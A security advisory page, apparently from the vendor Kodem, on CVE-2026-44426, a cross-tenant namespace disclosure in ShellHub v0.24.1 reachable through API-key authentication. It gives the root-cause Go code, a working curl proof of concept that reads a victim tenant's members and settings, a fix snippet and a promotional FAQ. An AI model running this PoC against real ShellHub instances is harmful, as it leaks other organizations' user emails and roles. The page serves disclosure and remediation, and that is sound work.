CVE-2026-44426

GET /api/namespaces/:tenant returns the full namespace object, including the members list (user IDs, e-mails, roles), settings, and device counts, to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope.

The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication.

Affected versions

ShellHub Community v0.24.1 (validated).

Root cause

api/routes/nsadm.go:75-102, membership check is skipped when c.ID() is nil:

var uid string
if c.ID() != nil {
    uid = c.ID().ID
}

ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)
if err != nil || ns == nil {
    return c.NoContent(http.StatusNotFound)
}

if uid != "" {                              // ⚠️ skipped when API Key is used
    if _, ok := ns.FindMember(uid); !ok {
        return c.NoContent(http.StatusForbidden)
    }
}

return c.JSON(http.StatusOK, ns)

AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role,
and X-API-KEY for API Key authentication, never X-ID. So
c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and
the membership check is bypassed.

Proof of concept (validated live against v0.24.1)

  # Attacker authenticates in their own namespace and mints an API Key
  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"attacker","password":"..."}' | jq -r .token)

  ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"poc","expires_at":30}' | jq -r .id)

  # Baseline: same request with JWT is correctly blocked
  curl -i http://target/api/namespaces/<victim-tenant-uuid> \
    -H "Authorization: Bearer $ATTACKER_TOKEN"
  # Observed: HTTP 403 (correct)

  # Exploit: same request with API Key returns full namespace
  curl -i http://target/api/namespaces/<victim-tenant-uuid> \
    -H "X-API-Key: $ATTACKER_KEY"
  # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],
  #                      settings, max_devices, devices_accepted_count, type, created_at}

• Enumeration of any ShellHub namespace by tenant UUID.
  • Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.
  • Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.

CVE-2026-44426 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.24.2); upgrading removes the vulnerable code path.

Kodem intelligence

Two layers:

1. Primary, enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:

   // nsadm.go GetNamespace
   if c.Tenant() != nil && c.Tenant().ID != req.Tenant {
       return c.NoContent(http.StatusForbidden)
   }
   

1. What is CVE-2026-44426? CVE-2026-44426 is a medium-severity security vulnerability in github.com/shellhub-io/shellhub (go), affecting versions <= 0.24.1. It is fixed in 0.24.2.
2. How severe is CVE-2026-44426? CVE-2026-44426 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/shellhub-io/shellhub are affected by CVE-2026-44426? github.com/shellhub-io/shellhub (go) versions <= 0.24.1 is affected.
4. Is there a fix for CVE-2026-44426? Yes. CVE-2026-44426 is fixed in 0.24.2. Upgrade to this version or later.
5. Is CVE-2026-44426 exploitable, and should I be worried? Whether CVE-2026-44426 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44426 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44426? Upgrade github.com/shellhub-io/shellhub to 0.24.2 or later.